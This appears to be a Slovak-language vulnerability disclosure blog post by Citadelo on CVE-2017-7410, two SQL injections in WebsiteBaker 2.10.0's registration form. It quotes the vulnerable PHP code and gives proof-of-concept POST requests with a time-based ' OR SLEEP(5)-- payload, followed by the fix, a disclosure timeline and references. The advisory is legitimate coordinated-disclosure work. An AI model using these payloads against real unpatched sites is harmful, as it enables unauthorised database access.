WebsiteBaker-CMS

WebsiteBaker CMS 2.10.0

Možno aj vy ste využili možnosť vytvoriť si novú web stránku pomocou redakčného systému WebSiteBaker. V našom blogu sme vám spísali ako sme objavili bezpečnostnú chybu v tomto redakčnom systéme.

Úvod

WebsiteBaker 2.10.0 a nižšie verzie sú zraniteľné na chyby typu SQL injection.

O aplikácii

Website Baker je redakčný systém, je založený na programovacom jazyku PHP a databázovom systéme MySQL. Pomocou Website Bakera môžete mať internetovú prezentáciu bez znalosti programovania či HTML zručnosti. Použitie je veľmi jednoduché, perfektnú, profesionálnu webovú stránku, je možné vytvoriť v priebehu niekoľkých hodín. (Zdroj: wikipedia)

Podrobnosti

Neautentifikovaný používateľ môže vkladať SQL dopyty do premenných “username” a “display_name” v PHP skripte “account/signup.php” (registračný formulár). Táto zraniteľnosť existuje z dôvodu nedostatočnej filtrácii používateľom dodaných dát. Zneužitím týchto zraniteľností útočník získa prístup ku všetkým záznamom, ktoré sú uložené v databáze s právami databázového užívateľa WebsiteBaker (Zahešované administrátorske heslo vo formáte MD5).

Zraniteľný kód:

account/signup2.php

40 $username = strtolower(strip_tags($wb-&gt;get_post('username'))); &lt;-- <strong>vstup od užívateľa</strong>
41 $display_name = strip_tags($wb-&gt;get_post('display_name')); &lt;-- <strong>vstup od užívateľa</strong>
...
50 // Check if username already exists
51 $sql = 'SELECT `user_id` FROM `'.TABLE_PREFIX.'users` WHERE `username` = \''.$username.'\''; &lt;-- <strong>SQL injection č.1</strong>
52 if ($database-&gt;get_one($sql)) {
53     $error[] = $MESSAGE['USERS_USERNAME_TAKEN']."\n";
54 }
55 if(!preg_match('/^[a-z]{1}[a-z0-9_-]{2,}$/i', $username)) {
56    $error[] =  $MESSAGE['USERS_NAME_INVALID_CHARS']."\n";
57 }
58 $sql  = 'SELECT COUNT(*) FROM `'.TABLE_PREFIX.'users` ';
59 $sql .= 'WHERE  `display_name` LIKE \''.$display_name.'\''; &lt;-- <strong>SQL injection č.2</strong>
60 if ($database-&gt;get_one($sql) &gt; 0) {
61     $error[] = $MESSAGE['USERS_DISPLAYNAME_TAKEN'].'';

POST parametre “username” (riadok 40) a “display_name” (riadok 41) sa používajú bez dostatočnej vstupnej validácie vo funkcií “get_one”, ktorá sa používa na SQL dopyt. SQL dopyty nepoužívajú takzvané “prepared statements”.

framework/class.database.php

102    // Gets the first column of the first row
103    function get_one( $statement )
104    {
105        $fetch_row = mysqli_fetch_array(mysqli_query($this-&gt;db_handle, $statement) );
106        $result = $fetch_row[0];
107        $this-&gt;set_error(null);
108        if(mysqli_error($this-&gt;db_handle)) {
109            $this-&gt;set_error(mysqli_error($this-&gt;db_handle));
110            return null;
111        } else {
112            return $result;
113        }
114    }

.

Proof of concept

SQL Injection č.1: parameter username

Payload: sql’ OR SLEEP(5)–

POST /account/signup.php HTTP/1.1
Host: localhost
Cookie: wb-5016-sid=7e753a5q6lpfp8fh24ppo9vm70
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 184

action=send&amp;redirect=http%3A%2F%2Flocalhost&amp;submitted_when=1490134734&amp;email-address=&amp;name=&amp;full_name=&amp;<strong>username=sql' OR SLEEP(5)-- </strong>&amp;display_name=test&amp;email=test&amp;captcha=&amp;submit=Sign-up

Odpoveď bude mať oneskorenie 5 sekúnd.

SQL Injection č.2: parameter display_name

Payload: sql’ OR SLEEP(5)–

POST /account/signup.php HTTP/1.1
Host: localhost
Cookie: wb-5016-sid=7e753a5q6lpfp8fh24ppo9vm70
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 184

action=send&amp;redirect=http%3A%2F%2Flocalhost&amp;submitted_when=1490134833&amp;email-address=&amp;name=&amp;full_name=&amp;username=test&amp;<strong>display_name=sql' OR SLEEP(5)--</strong> &amp;email=test&amp;captcha=&amp;submit=Sign-up

Odpoveď bude mať oneskorenie 5 sekúnd.

Riešenie

Aktualizujte WebsiteBaker na verziu 2.10.1 alebo na novšiu verziu.

Časová os nahlásenia zraniteľností

24.03.2017 Dodávateľ bol informovaný o zraniteľnostiach

25.03.2017 Dodávateľ potvrdil zraniteľnosti a vydal opravu

03.04.2017 Pridelené CVE

07.04.2017 Zverejnené detaily

Kredit

Tieto chyby objavil Marek Alakša zo spoločnosti Citadelo.

Odkazy

  1. www.citadelo.com/en/websitebaker-cms-2-10-0-multiple-sql-injection-vulnerabilities
  2. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7410
  3. websitebaker.org
  4. http://project.websitebaker.org/issues/39
  5. http://forum.websitebaker.org/index.php/topic,30187.0.html

O autorovi

Citadelo
Citadelo je dom plný etických hackerov na vašej strane. Pomáhame otestovať ich informačnú bezpečnosť. Podrobte svoje IT prostredie výzve a odhaľte, do akej miery sú vaše citlivé dáta chránené.
Zobraziť viac od autora

Podobné blogy

Bezpečnosť na internete - Viete sa správať v online priestore bezpečne?

blog |
Priemerný človek strávi na internete každý deň 3 hodiny a 20 minút. Okrem užitočných informácií a zábavy ale na nás čaká v online svete aj veľké množstvo hrozieb.
Zobraziť

Citadelo na novom a ešte bezpečnejšom webe

Blog | | Michaela Gallee
Naša požiadavka na bezpečný web sa môže niekomu zdať prehnaná, nie sme predsa svetová banka. To však nič nemení na tom, že našou víziou je bezpečný internet a preto naša priorita bola kladená na bezpečnosť.
Zobraziť

Čo sú cookies, na čo slúžia a máme sa ich báť?

Blog | | Tomáš Melicher
Ešte stále neviete čo sú cookies? Prečo ich vidíte takmer na každej stránke, a prečo s nimi musíte súhlasiť, aj keď nechcete? Prečítajte si článok o tom, na čo slúžia cookies vo webových prehliadačoch aj o tom, ako súvisia s internetovou bezpečnosťou.
Zobraziť

Ako si objednať pentest- kompletný návod

Blog | | Martin Hanic
Hoci ľuďom z IT bezpečnostnej branže môže táto otázka pripadať rovnako triviálna ako "Ako si objednať nabíjačku na telefón", pre mnohých však spísanie objednávky na pentest predstavuje podobnú úlohu ako navrhnutie jadrovej elektrárne.
Zobraziť